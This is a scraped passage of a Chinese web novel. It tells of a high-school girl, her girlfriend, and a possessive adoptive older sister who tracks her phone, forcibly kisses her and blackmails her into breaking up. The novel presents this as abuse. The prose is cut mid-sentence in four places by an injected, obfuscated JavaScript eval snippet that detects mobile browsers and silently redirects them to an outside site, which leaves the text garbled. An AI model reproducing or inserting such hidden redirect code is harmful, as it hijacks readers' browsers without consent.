徐琦不知道她这样着急,见这样说忙答应道:“哦好的。” 下午两点钟,苏青荷和乔楠在大夏电影院见面。因为不是节假日,还是之前上映了很久的片子,评分和口碑也一般,偶然瞥见旁边有一场经典放映厅,在放泰坦尼克号,乔楠记得苏青荷喜欢这部电影,她忙拉了拉她的手,指着说:“我们看这部吧。” 苏青荷也抬头看,看见上面熟悉的海报是jack和rose,她点点头说好。 其实看什么都无所谓,重要的是和谁看。 电影在两点半开场,距离还有半个小时。她们就在附近的几家文具店酷玩店转了转,乔楠挑中了一对熊猫钥匙扣,这个是一对,是之前很火的情侣款。 乔楠买了下来,在苏青荷包上系了一个,又在自己的包上系了一个,笑着问她:“好看吗?” 苏青荷低头看着,只觉得心口暖暖的,她抿起唇笑:“好看,很可爱。” 乔楠牵住她的手,两人一起走在人群中,“荷荷,虽然你没有说,但我能察觉到你情绪不好,不过没关系,你不用对我说,你只要知道,我会陪着你,不管什么时候,我都不会离开你的。” 苏青荷微怔,眼眶倏地红了,是她这些天来背负着的东西太沉重,几乎每分每秒都不曾停下来,她把自己绷得紧紧的,生怕一松懈来,她的世界会翻天覆地。 没有人能够分担这样的恐惧和沉重,可这时候身旁的人,忽然对她说出这番话来,她就再也忍不住了,眼泪盈满眼眶。 乔楠见她哭,一下慌乱了,和她道歉:“对,对不起荷荷,我说错什么了么……” 话没有说完,苏青荷主动两手拉住她,抿起唇笑着摇头,温声道:“不是的乔楠。” 乔楠伸手替她擦拭眼泪,问她:“是有什么伤心的事吗?” 苏青荷摇摇头,看着她,忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423075|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然说:“乔楠,你想去S市吗?” 乔楠微愣,“你要和我分开?” 苏青荷也怔了下,随即失笑,说没有,“我是想说,其实S市也很好,不比A市差……” 乔楠看着她,目光坚定没有犹豫,她开口道:“荷荷,其实不管A市还是S市,对我来说都没有区别,唯一让我选择的,是你在哪里。我们说好的,毕业了要在同一个城市念大学,一起谈恋爱,一起生活。” 苏青荷想着她们一起说过的话,一起做下的约定。两个月前,她也从来没有动摇过,可是,可是她忽然怕天不遂人意。 苏青荷恍惚片刻,忽然像坚定了想法那样,她抬眼看向乔楠,说:“乔楠,我们去S市吧,我们将来一起去S市生活。” 手机忽然在这一刻震动了一下,她吓了一跳,低头才看见是一条无关的短信。 乔楠看见她这一刻的神情,带着略微的慌张,她觉得眼前的人变了,至于是哪里变了,她说不出来。 可是,一个开朗的爱笑的女孩儿,忽然一下子陷入了无限的忧愁与患得患失里,这样明显的变化,乔楠还是能一下分辨出来。 乔楠拉住她,眼睛里满是坚定,她告诉她:“荷荷,你在哪里,我就在哪里。” 苏青荷感受到那眼神里的认定和偏爱,乔楠是这样优秀一个人,可想到这样优秀的一个人,心里眼里此刻只有她,她又觉得,自己可以为了乔楠,抛弃一切。 电影在两点半准时开场,因为是老电影,电影院里没有多少人,稀稀拉拉估计也只有十几二十个左右。 她们坐在倒数第二排,苏青荷不喜欢坐靠前的位置,有时候会觉得太近,看到的东西不够全面,她喜欢隔着距离看人,这样的思考思想会有一种安全感。 和别的电影不同,泰坦尼克号时长三个多小时,看完结束要近六点钟。 纵然知道每个情节走向,可沉浸进去的时候还是很感动,为这样灵魂上相爱的两个人超越生死的爱情而震撼。 乔楠一直牵着她的手,苏青荷感受到她就在她身边,或许是电影爱情动容,她忽然比从前更喜欢乔楠。 电影太长,混着电影院里的轰隆水声的音响声音,苏青荷有些犯困,学校里长日缺觉,这样舒服轻松的状态是少有的,她不知不觉就睡着了。 乔楠也察觉到她睡着了,并未吵醒她,只将脑袋朝她的方向靠了靠,抵着她的额头,感受她额间的温度。 不知过了多久,苏青荷手机传来振动声,在安静的影院里异常明显,手机放在她抱着的外套上,乔楠刚要伸手去拿,苏青荷突然也被惊醒。 “手机响了。”乔楠提醒道。 苏青荷微怔,抬起屏幕看见上面的来电显示,心在一瞬间提起来。 乔楠也瞥见屏幕上的备注“姐”,她小声提醒说:“要不你先出去接一下吧,没事的。” 苏青荷有些犹豫,显然她并不想接这个电话,她想假装没有听见,可无奈之下,还是拿着手机起身从侧门出去。 手机一直在振动,电话那头的人似乎不接通这个电话就不罢休。 苏青荷接通电话,“喂。” “在哪里?” 5. 第 5 章 chapter05 电话里的声音传来,苏青荷下意识只觉得压抑和无法呼吸。 不由心跳加速,她忐忑地说:“在外边。” “外面哪里?” 电话那头,苏青沅已经下了飞机,从南市到A市只有一个半小时的航班,她此刻已经到了A市航站楼。 徐琦的话像一根刺,刺在她心尖上,若非此时此刻见到她,苏青沅无法停止乱想。 苏青荷看着影院内来来往往的人,电话里长久的无声沉默像倒计时的炸''弹,她紧紧抓着手机,只说:“我一会就会回家的。” 说完,没有等那头再开口,她就径直挂断了电话。 苏青沅听见听筒里略带慌张的声音,还没有来得及再开口,就被挂断了电话。 她愣站在原地,看着手机上的通话记录。 第一次,她有事情瞒着她。 点开手机定位,她找到苏青荷的手机定位,因为她在外上学,两人经常是半个月不见,苏青沅以安全考虑为借口,在自己的手机上时刻定位苏青荷的位置。 只是也从来没有用过,苏青荷常常住校且手机关机。此刻苏青荷手机已经开机了,定位在十分钟前更新过。 A市大夏电影院。 徐琦早在机场外接机,看见苏青沅拖着行李箱出来,急忙迎上去,一边和她汇报:“晚上七点,程时的王总要约您吃饭……” “先取消,挪到周一。”苏青沅将行李箱放进后备箱,一边走一边说道,“车钥匙给我,你打车回去吧。” 徐琦见她神色匆匆,只当是有什么事情,于是问:“苏总,您要去哪儿?” “有事。”苏青沅没有回头,只冷冷扔了两个字,拉开车门就上了车,随后扬长而去。 苏青沅开车直奔大夏电影院,从机场开过去,一个小时的车程她硬是只用了半个多钟头。 从电梯上去,直奔五楼的电影院,出电梯的一刻,正好撞上电梯外的人。 苏青荷和乔楠电影刚刚散场,两人正准备离开。苏青荷看见人,当场愣在那里,没有想到上午还说这周末不会回来的人,此刻居然就出现在她眼前。 她吓得本能从乔楠的掌心里抽出自己的手,乔楠也认得苏青沅是苏青荷的姐姐,她愣了下,以为苏青荷抽回手是怕家里人发现她们谈恋爱,并未多想。 苏青沅垂眸瞥见了她的动作,还有在前一秒,两人十指相牵的手。 四目相对,苏青沅只盯着眼前的人,眼睛一眨不眨,微沉的双眸里容不下除她外的任何人。苏青荷也察觉出那眼里的冷意,她定定站在那里没有动,看着电梯里的一步一步朝她走过来。 “在看电影么,是什么电影?”苏青沅走到她面前,停下来,声音温柔地问道。 苏青荷看她,咽下忐忑的喉咙,说:“泰坦尼克号。” 苏青沅重复她的话呢喃了一句,唇瓣轻勾起一抹冷笑,又转头看向她身旁的人,故意问:“荷荷,这是你的同学吗?” 苏青荷还没有来得及开口,乔楠先一步主动对她说:“青沅姐你好,我是荷荷的同学,我叫乔楠。” “同学……”苏青沅淡淡笑着,只是笑容不达眼底,她重新看向苏青荷,“荷荷,怎么从来没有听你提起过?” 苏青荷几欲控制不住自己的颤栗,她害怕乔楠看穿任何的异样,她主动地转头对乔楠道:“天晚了,我先回家了,明天学校见。” 乔楠看着她,原本两人还约好要在楼下吃饭,吃完饭在一起坐公交回家,因为正好有一段路是顺路的。 现在她姐姐来接她,虽然有些遗憾,但也只好答应道:“好,明天见。” 苏青沅伸手替她接过肩上的包,看见上面新出现的熊猫挂件,又瞥见旁边叫乔楠的同学包上也同样有一个,她伸手捏着那挂件,放在指尖摆弄,淡淡开口:“一起请同学吃个饭吧,正好楼下有一家你爱吃的牛排。”说完又对一旁的人笑说,“吃完饭再走吧,吃完了,我们送你回去。” 乔楠微怔,转头看向身旁的人,见她脸色有些不好,也不见她再说话。 苏青沅没有理会两人,转身就从旁边的扶梯下去,乔楠伸手牵了牵苏青荷,低声喊她:“荷荷……” 苏青荷失魂落魄地站在那里,看着走在她面前的背影,一时无措,转头看向乔楠,说:“走吧。” 三人到了楼下餐厅,姐妹俩并肩坐在一排,对面坐着乔楠。 苏青沅主动点了菜,几乎都是苏青荷平常爱吃的几样,点完之后,又问了对面的乔楠,乔楠只说:“我和荷荷一样的就好。” 菜陆陆续续上齐,三人无声吃着饭,苏青沅将切好的牛排换到苏青荷面前,知道她不爱熟度太低的牛排,特意做了七分熟。 餐桌上,谁都没有主动说话,苏青荷食不知味,浑身只有紧张和忐忑。 乔楠不知道她们姐妹之间的相处方式,只是本能觉得说不出的陌生,可苏青沅的举动又对荷荷很好,或许是因为有外人在场吧,乔楠这样想。 “乔楠,你和荷荷是同班吗?”苏青沅一边切着盘子里的西冷牛排,一边漫不经心主动开口问。 乔楠愣了一下,苏青荷拿着叉子的手也微微顿住。 乔楠说:“我们高一的时候是同班,后来文理分科,荷荷在一班,我是理科班四班。” 苏青沅并不怎么了解苏青荷学校里的事情,向来也只认识一个同桌陈郁微,因为从初中起她们就是同桌,每回她去接人,也只看见陈郁微,从未见过这个乔楠的女孩。 “原来是这样,怪不得我没有见过你。”苏青沅浅浅笑道,“关系是不错,分班两年了,还能出来一起约着看电影,真是难得了。快要高考了,有想好将来考什么大学吗?” 乔楠无意向任何人隐瞒她和苏青荷的交往,她大方地开口说:“我想和荷荷在同一个城市上大学,可能是A市,也可能是S市。” 苏青沅切着牛排的手停住,她慢慢抬起眼,看向对面的人,对视了近乎有四五秒钟,才淡淡收回视线。 一顿饭吃得不算慢,差不多半小时就结束了。 整个过程里,苏青荷一句话也没有说,几乎都是乔楠和苏青沅在说,或许乔楠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423076|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有察觉,又或许她不想隐瞒自己和苏青荷交往的事情,几乎每一句话里都藏了暗示。 苏青沅显然是知道发生了什么,只是,她不能够容忍,也永远不会让一些事情发生。 她停下刀叉,拿起餐巾看向身旁的人,笑着伸手去抚她的脸,苏青荷吓了一跳,下颌被人捏住,被迫转了过去,面对着她。 “这么大人了,吃饭还吃得乱七八糟。”说着,苏青沅笑着用餐巾替她擦拭嘴角。 苏青荷一颗心几乎要从心口跳出来,她紧紧盯着眼前的人,看着那张带着笑容的脸,那双含笑的细长双眸,只觉没有哪一刻,会比此刻更让她觉得紧张和害怕。 结了账,三人离开,苏青沅开车,苏青荷坐在副驾驶上,后座坐着乔楠。 因要先送乔楠回家,要稍稍绕一段路。 路上,苏青沅忽然伸手去牵苏青荷的手,苏青荷吓了一跳,急忙要抽回手,却被她紧紧攥住,她转过头来看她,温声问:“困了么?” 苏青荷盯着她,只轻轻嗯了一声,“还好。” 苏青沅牵唇:“那今晚早点睡。” 后座乔楠看着她们相牵的手,她说不出哪里不对,可还是止住了一切往深处的想法。 到了乔楠家,她和她们告别说晚安,苏青荷也牵唇说:“晚安。” 车子停在小区门口的路边,看着乔楠离开了,苏青沅才驶离车子。 八点左右的马路上,正是车水马龙的时刻,霓虹灯影的城市从车窗外飞速略过。 “谈恋爱了么?”苏青沅看着车窗前的车流,忽然开口问。 苏青荷靠在车窗上闭眼假寐,听见她的话怔了下,却还是没有睁眼,回答她的话。 车厢里寂静,苏青荷久久没有回答她的话,只剩下沉闷的压抑。 一直快要行驶到别墅家门口,苏青沅才又再次开口,冷冷地说:“你现在高三,还有两个月不到的时间,就要高考了,正是关键的时候,不要早恋,知道么?” 车子停在门口,苏青荷无声睁开双眼,说:“那以后呢,等到我上了大学,可以谈吗?” 苏青沅坐在车内,听见她的话久久未语,车厢里晦暗寂静,她反问她:“和谁,那个乔楠么?” 像是注定今晚要反抗她,苏青荷眼中带着坚定地恨意和不满,道:“不可以么?” 苏青沅双眸半垂着,半晌掀起眼梢,眸眼里有淬冰般的冷意,无情地说:“不可以。” 苏青荷不想再和她待在密闭的空间里,仿佛连空气都是压迫的,她解开身上的安全带,推开车门就要下车。 手臂忽然被人抓住,她没有来得及下车,就被身后的人拽了回去。 苏青沅将人按回座椅上,单手扣住她的后脖颈,逼着她仰起头来看着自己,然后低头吻上她的唇瓣。 苏青荷惊愕住,浑身缩瑟着颤抖,随即是拼命地挣扎和撕咬,直到嘴角里出现咸腥的血气,苏青沅才喘息着停下来。 苏青沅抵着她的额头,将人压在座椅里,用近乎临界愤怒的语气对她说:“我说了,不可以,你听清楚了吗?” 6. 第 6 章 chapter06 苏青荷浑身颤抖着,一双眼睛里只剩下恐惧与迷茫。 她不知道哪里出错了,为什么眼前的人会忽然一下子变成了这样,那个对她好、疼爱她的姐姐,仿佛消失了一样,眼前这个人,像恶魔,像魔鬼。 苏青沅知道自己失控了,她无法容忍自己看着长大的人,忽然有一天要跟随着别人离开,更不容许,她将来会爱上别人。 “对不起,荷荷。”苏青沅双手捧住她的脸庞,指腹轻蹭她破皮的唇瓣,闭着眼睛与她相贴,无奈地说,“姐姐不是有意伤害你,对不起。” 唇瓣干涩的疼痛传来,苏青荷只觉火辣辣地疼。 她伸手推开靠在身上的人,转头拉开车门下车。 苏青沅还坐在车内,看着车灯前那道身影,隐进门内。 她不记得有多久了,只恍惚过来的时候,才承认自己不能够接受失去她。她也不知道自己用了多久时间来挣扎,挣扎着承认自己爱她,爱这个陪着她长大的人。 卧室里,苏青荷洗完澡出来,抬头看见坐在床边的人。从小到大,她们都是在一个房间里一张床上睡觉的,可自从那一晚,她忽然排斥与她亲近。 刚到苏家的时候,常常见不到母亲,父亲一直工作在外,一个星期也见不到他两面。 整个家里,只有苏青沅一个人。她比她大了四岁,那时候小孩子总天生喜欢依恋比自己大的人,她知道她是姐姐,所以本能天生靠近她,纵使知道,苏青沅其实最开始讨厌她。 她是外来者,于苏青沅来说,她是这个家的闯入者,是父亲出轨,背叛她母亲的佐证。甚至将来有一天,自己还会一点点占据她在这个家里的位置。 苏青荷讨好她,不厌其烦地一遍一遍喊她姐姐。她企图用这样讨好的方式,在这个陌生的家里获得一点点的安全感。 她也从未想过,这样的安全感,有一天会是她自掘的深渊。 深夜,彼此背对着躺在床上。 苏青荷面对着窗户,看着窗外一点点微弱的光芒,忽然有些失眠。其实她很累很困,身体沉重得不像是她的,学校里漫天的试卷习题,时刻畏惧她的出现和声音,紧绷的一根弦,已经就快要断了,她不知道自己还能撑多久。 腰后环上来一只手,苏青荷闭上眼睛,呼吸平稳,一动未动。 手臂紧紧圈住她,苏青沅抱着身旁的人,闭眼将脸贴在她后颈里,闻和她身上一样的沐浴乳气味。 这是彼此相安无事的一夜,谁也没有再开口说起晚上的话题,苏青荷只觉得累到睁不开眼,也不在乎苏青沅要做什么,总之她早已没有力量反抗。 苏青沅也知道她难得的周末休息时间,高三冲刺阶段,连睡觉都成了奢侈,她怕她太累身体吃不消,又因晚上两人争执了一场,只这样抱着她,两人相拥而眠。 第二日早上八点不到,即便是周末可以放肆睡到很晚,但生物钟还是先一步跳了出来。 苏青荷睁开眼睛,感受到房间里还是昏暗一片,窗帘外有若隐若现的一点微光,她坐起身,转头不见人,又看了看时间,起身下床。 出了卧室门,听见厨房里有动静,她走到楼梯台阶处,看见一道身影。 苏青沅身穿围裙,余光瞥见人影,她转过身看她,见她穿着睡衣站在那儿,大概是刚睡醒,头发乱糟糟的,表情也有些怔怔的。 她笑着说:“还早呢,再睡一会吧,难得的周末,补一补觉,在学校是没有机会睡懒觉的。” 苏青荷感受到唇瓣里有些刺痛,想起昨晚的事,她抿住唇,看向她,问:“你不去上班吗?” “周末休息。”苏青沅说,转身过去,一边翻着锅里的煎蛋,一边又道,“今天上午,抽空去康苑看看素姨吧,她也好久没有见你了。” 苏青荷垂眸,道:“好。” “可以再睡一会,面还没有煮。” 苏青荷没有理会她,转身又回了房间。醒了就睡不着了,她也没有睡回笼觉的习惯。可还是关上了门,重新躺在床上,抬头怔愣愣看头顶上的天花板。 房间里静悄悄的,没有一点声音,唯有自己一下一下扑通的心跳声,沉稳而鲜活,证明她还是像行尸走肉一样活着。 转头看见衣架上挂着的包,上面的小熊猫还安静地垂在那里,她低下双眸,沉寂片刻后,爬起来洗漱换衣服收拾下午回学校要带的东西。 半小时后,房间外传来敲门声,苏青沅喊她:“起来了,荷荷。” 苏青荷开门出来,苏青沅看她换了一件杏色的短款海马毛毛衣,上面毛绒绒的,温柔的颜色,衬得她皮肤明亮白皙。 看见她后面立起来的箱子,苏青沅道:“都收拾好了么。” 苏青荷嗯了一声,“我直接带着走吧,看完妈妈,我就回学校了。” 苏青沅没说什么,知道她现在时间一向紧张,只应道:“好,先下楼吃饭吧,我煮了两碗虾仁面。” 下了楼,彼此餐桌对面坐着。 苏青沅抬头看对面的人,望见她低头捧着碗,表情淡淡地,一句多余的话也没有。 “好吃么?咸不咸?”苏青沅问道。 苏青荷低头望着碗里的手擀面,这不是买来的,是她一早做的。和现在年轻人不爱做饭不同,苏青沅厨艺很好,即便甜品面点也信手拈来。 从小到大,她吃得最多的饭菜,都是出自她手。自己爱什么,不爱什么,她全都一清二楚。 初春的清晨还是冷的,碗里热腾腾地热气扑上来,扑进她鼻腔里,冷热交替鼻头有些发酸,她吸了吸鼻子,声音嗡哝地嗯了一声,说:“不咸,刚刚好。” 苏青沅见她这些天难得顺着说话,心情也不由地变轻松,她温柔地看着她,说:“最近换季了,我带你去买点新衣服吧,学校里动不动半个月出不来,下月就要升温,呢子毛衣都不好穿了。身上的内衣也是几个月前的了,要定期换,待会一块儿看完素姨,我带你去买几套。” 苏青荷低头坐在那里沉默不语,从前,这样的话这样的事,她总习以为常,她们相差四岁,父亲是个男人,有许多不便,母亲又一直不在她身边,所以她的成长过程里,几乎全都有苏青沅的身影。 她的衣服、鞋子,乃至内衣袜子都是这个人为她挑选的,七岁第一次换牙,那是她们正式破冰的时刻,后来第一次上学,第一次穿内衣,第一次学英语,第一次离家住校,第一次来月事,第一次用卫生棉,都是这个人陪着她。 陌生的世界里,她有多依赖她,没有人会知道。 可她不明白,为什么眼前的人会将她们之间的关系弄成了这样。 就算没有血缘关系,可又怎么会演变成此刻这样? 八点半出门,苏青沅开车带着她去康苑探望李曾素。 两个多月以前,苏青荷才知道,李曾素不是她的亲生母亲,她只是小时候她从孤儿院里抱来的孩子。 李曾素是苏青沅父亲苏贺安的初恋情人,后来因为苏贺安的父母不同意,家族公司又遇上危机,苏贺安被迫和李曾素分手,接受了家族联姻,与苏青沅的母亲楚筝结了婚。 婚后两年,苏贺安与楚筝育有一女,苏青沅三岁的时候,母亲车祸去世。其实苏青沅有记忆,那天父母争吵,母亲负气开车离去,后来才出了意外。 苏贺安丧偶后,又重新遇上了李曾素。两人旧情复燃,迅速坠入爱河,生下一个女儿,名叫苏青荷。 那是真正的苏青荷,只不过活到两岁,就生病去世了。 李曾素无法接受丧女之痛,整日整夜地走不出来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423077|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 精神恍惚,难以入睡。 其实李曾素也是一个可怜人,从小没有父亲,家境贫寒,只有一个母亲相依为伴。大学时期遇上苏贺安,可偏偏又因家人反对,两人没能在一起。后来苏贺安结婚生女,李曾素也一直未嫁。再后来就是苏贺安偷偷与她走到一起,他想要再婚,可苏家和顾家都没有同意,于是二人婚姻一再坎坷被搁浅。 不被爱人家庭接纳,生女又夭折,她经受不住这接二连三的命运打击。李曾素的母亲怕她整日恍惚出事,就在孤儿院里收养了一个女儿,起初苏贺安并不同意,一来总不是亲生的,二来这样的替代,其实是一件残忍的事。难道说,抱养一个女孩,就能取代他们的荷荷了么,将爱都给她,那他们的荷荷,又是谁呢?甚至于有一天,是不是就没有人能记得,这世上原本的荷荷是谁? 这个念头就一直搁浅,直到有一天李曾素吞药自杀,被发现抢救回来。 李曾素的母亲跪地求苏贺安,苏贺安自知自己一生都对不起李曾素,就答应了从孤儿院收养了一个孩子,以此宽慰李曾素脆弱的精神状态。 苏家不同意这个孩子进门,更不允许她跟着苏贺安。李曾素因为这个孩子也渐渐活了过来,一直独自养她到六岁。 直到李曾素旧病复发,几乎不能自理。李曾素母亲去世,无人能够照料这个孩子,苏贺安就将她带回苏家抚养。 彼时,苏贺安一点点撑起了公司,有了经济大权,父母年迈,也再没有力量说什么了。 李曾素这些年来一直病卧在床,靠着仪器存活。每天仅存的一点意识,只记得苏青荷一个人。 其实李曾素的精神一直不大好,按医学上,她患有精神障碍疾病,不能自理。 苏贺安这些年来也一直照顾着她和苏青荷。苏青荷在苏家,也一直以苏贺安女儿的身份生活,直到去年苏贺安癌症去世,苏青沅接管苏家一切。 苏青沅起初也一直以为,苏青荷是她同父异母的妹妹。她其实怨恨她的父亲,因为隐约知道,母亲车祸去世,与他争吵的那一天,就是为了李曾素。 她知道那个时候,苏贺安和李曾素还没有走到一起,是母亲无意间发现了父亲字典里当初给李曾素的情书,二人争吵,母亲负气开车,才出了意外。 他不杀伯仁,伯仁因他而死。 或许大人的世界里复杂,她无法认定,究竟谁对谁错。可母亲却因此出了意外,永远离开了她。 苏青沅将李曾素认定是父亲出轨的对象,而这个凭空而来的苏青荷,是他出轨的佐证,是这个苏家的闯入者和私生女。 可日复一日,年复一年,大概是十岁的孩子,爱与恨都那样浅薄,在与苏青荷那几年的生活里,她也逐渐接受了这个妹妹的存在。 直到十五岁那一年,李青荷生病住院,她无意间发现了李青荷是AB血型。 父亲是O型血,不论李曾素是什么血型,他们也无论如何不会有AB型孩子的出生。她那时候正学生物学,发现这件事后,她惊愕地愣住,当下找了父亲质问。 至此,父亲才向她坦白了一切,那时候苏青沅已经长大,有了明辨是非的能力,苏贺安告诉她,不要把这件事情告诉荷荷。 没有人会愿意知道,自己亲生的父亲和姐姐,有一天都变成了没有血缘的陌生人。那对一个十一岁的孩子太残忍。 于是,苏青沅就同父亲一起守住了这个秘密。 可或许就从此开始,她开始以另一种目光与身份看待身边这个人。 可她究竟又没有意识到,在得知荷荷不是她亲妹妹的一刻,她不是震惊伤感,而是一种连她自己没有察觉的庆幸。那像一个揭开她丑陋面目的借口,一个光明正大的借口,让她那一点点微妙的情感,彻底如洪水滔天一般涌泄,且再也没有收回来。 7. 第 7 章 chapter07 从康苑出来,苏青沅开车带她往市中心商场。 一路上出来,苏青沅看她都只趴在窗边,风吹起她额角的刘海,眼神呆呆的,一句话没有说。 去康苑看望李曾素,是每月几乎固定的事情。苏青荷和母亲的关系不怎么亲近,因为六岁起就几乎没有在一起生活过,况且李曾素清醒的时候很少,大部分时间连话也不能说。 起初苏青荷还会哭着说想妈妈要回家,后来渐渐的,也就不再提了。 也是很后来十几岁,苏贺安才重新带她常去康苑看望李曾素。康苑是顶级康复中心,隐私与设备都是一流的,李曾素也是因为此,这些年才保住了这条命。 两个多月前,苏青荷也才知道,自己是母亲抱养的孩子,她是个孤儿,连亲生父母是谁也不知道。 这些年来的记忆里,她的亲人只有父亲姐姐,还有母亲。可有一天,忽然有人告诉她,他们都不是她真正的亲人。 虽然没有血缘的羁绊,可这些记忆无法消除,她心疼母亲,也从来把她当成自己的亲生母亲。 “风太大,当心吹得头疼,窗户关起来吧。”苏青沅望着她纤细的背影,细心提醒道。 苏青荷情绪低落,只想这样吹吹风放空一下脑子,听见身后的话也并不理会。 “素姨这回体检,身体有两个指标有点异常。” 苏青荷一愣,直起身转头看向她。 苏青沅察觉她目光里的担忧,忙又说:“你不用担心,不是大问题。一个是肠胃,还有一个是血压有点高,年纪上来,这都是不可避免的。我已经让他们注意了,会细心照顾的。” 苏青荷听见她的话这才放下心来,她轻垂下长睫,落寞地说:“谢谢你。” 苏青沅握着方向盘的手一怔,有一种说不出的感觉堵在心口。 其实这就是苏青沅迟迟没有告诉她身世的原因,她不想她因此跟她生疏,连对她的一点点好,都会演变成了愧疚和感恩。 她们之间,早已超出这些。 这两个多月来,苏青沅眼睁睁看着她像变了一个人,忧愁痛苦一直围着着她,她也很久很久都没有见过荷荷的笑容了。 从前,她会高兴地和她分享很多的事情,自己的心情、学校的人和琐事,没有任何负担地把自己完完全全交托与她,可是现在,连碰触都是带着恐惧。 苏青沅一直都挣扎着是否要向她坦白她的身世,她不愿意这样俗世的关系束缚住她们,可她又怕,自己与她唯一的这一点关系牵绊一旦消失,她就再也没有机会理所应当地与她相处生活。 事实也证明,苏青荷接受不了这一点,更排斥她们的关系。 “荷荷,我不需要你的感谢,从来都不要。”苏青沅看着车窗前远到尽头的马路,幽幽温声道,“我们之间,纵然没有那一层血缘的牵绊,你依旧是我生命里最重要的人,唯一不可取代。” 苏青荷低眸不去看她,这些温柔的话在她心底震起无数涟漪,若是从前,她一定什么都不会乱想,可现在,每一个字都变成了尖刀,戳刺着她的心口。 “我们就做姐妹,做亲人,不好么?”苏青荷无奈地问出这句话。 纵然几个月前,她曾说过同样的话。 苏青沅握着方向盘,听见她的话,道:“对我来说,没有区别。” 苏青荷:“可对我有。我不接受。” “荷荷,不要在乎别人的眼光,用你的心来感知这一切,这世上没有任何人可以走进我们之间,我们是一体的,这样的关系,其实并不需要靠血缘来界定,请你跳出自己给自己的束缚,用你的心来看待好吗?” 苏青荷眼眶发红,咬牙切齿无情反驳道:“这不是束缚,这是你扭曲的价值观,是你一厢情愿的变态猎奇!你不要企图用你的谬论来哄骗我,我不接受!” 苏青沅沉默住,第一次听见她用义正严辞的话语来评判她的感情、评判她们的关系。 不自觉加快油门,苏青沅眼底隐忍露出愠意,“你就是这样看待我的,是么?” 苏青荷察觉出来她的情绪,在她心里眼里,她永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423078|184812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远都是她最爱的姐姐,她长得漂亮,样样优秀,从初中高中乃至大学,她都是她的榜样,她以有这样一个姐姐而骄傲。 可是此刻,她除了以伤害她的方式来摆脱这样的不堪,没有其他的办法。 “是!”苏青荷垂眸,斩钉截铁地告诉她,“我从来没有像此刻这样讨厌你,你丑陋不堪的面具让我觉得恶心!你为什么不肯放过我?!” 车子开得极快,苏青沅怒极反笑,她们从高架上冲下去,车速飞奔,苏青荷颤抖着紧紧攥着手心。这一刻她忽然觉得畅快,激怒她,远比她用温和的态度对待自己要畅快得多。 她甚至想,不要活着,死亡可以摆脱所有的一切。 死了,她就不用再受这样的煎熬和恐惧。 车子在路口急刹车停下来,红灯跳了过来,苏青沅抿住唇看向远处,声音里带着冷意,道:“是因为那个叫乔楠的女孩对么,你先入为主那才是爱情,所以将我们之间的一切全部抹去,你不承认我,不承认你对我的依赖,无情否决我所有的示意,都是因为她,是么?!” 苏青荷眼眶发酸,她努力让自己平静下来,可颤抖的声音还是出卖了她的畏惧,“和别人无关,这是你我之间的事情。” 苏青沅冷笑,“我记得我昨晚警告过你,不许早恋。和她断绝所有来往,听见么?” 苏青荷转头看她,气道:“你没有权利干涉我,你凭什么这么做?!” 苏青沅依旧看着前面,无视她的怒意,平静道:“是么,你要是想闹得人尽皆知,就知道我有没有权利。” “你什么意思?” “你要是有早恋的勇气,那么就该有承受流言蜚语的能力。”苏青沅转过头去与她对视,嘴角勾起笑,像魔鬼,“只是我想知道,那个乔楠,是否有这样的能力。” 苏青荷忽然间觉得天和地都在摇晃,整个人再没有任何力量支撑得起这副躯壳,她颤抖着将双眸垂下来,像飞蛾濒死之际跌落尘埃,失去所有的希望。 她抿住唇,双眸模糊着无力道:“我会和她分手。” 8. 第 8 章 chapter08 车子开到中心商场,苏青荷坐在车里,冷声说:“我不想逛,我想回学校了。” “用不着这么着急分手。”苏青沅拉开车门下车,砰一声关上车门。 苏青荷坐在那里,抬眼看见车窗外站在那里等她的人,她紧紧咬住牙,隔着车窗与她四目相对,半晌,愤恨地推开车门下车。 两人从电梯上去,一楼是鞋服,苏青沅替她挑了好几种新款风格,从上衣裤子外套,再到各种款式鞋子,全替她换了新的。 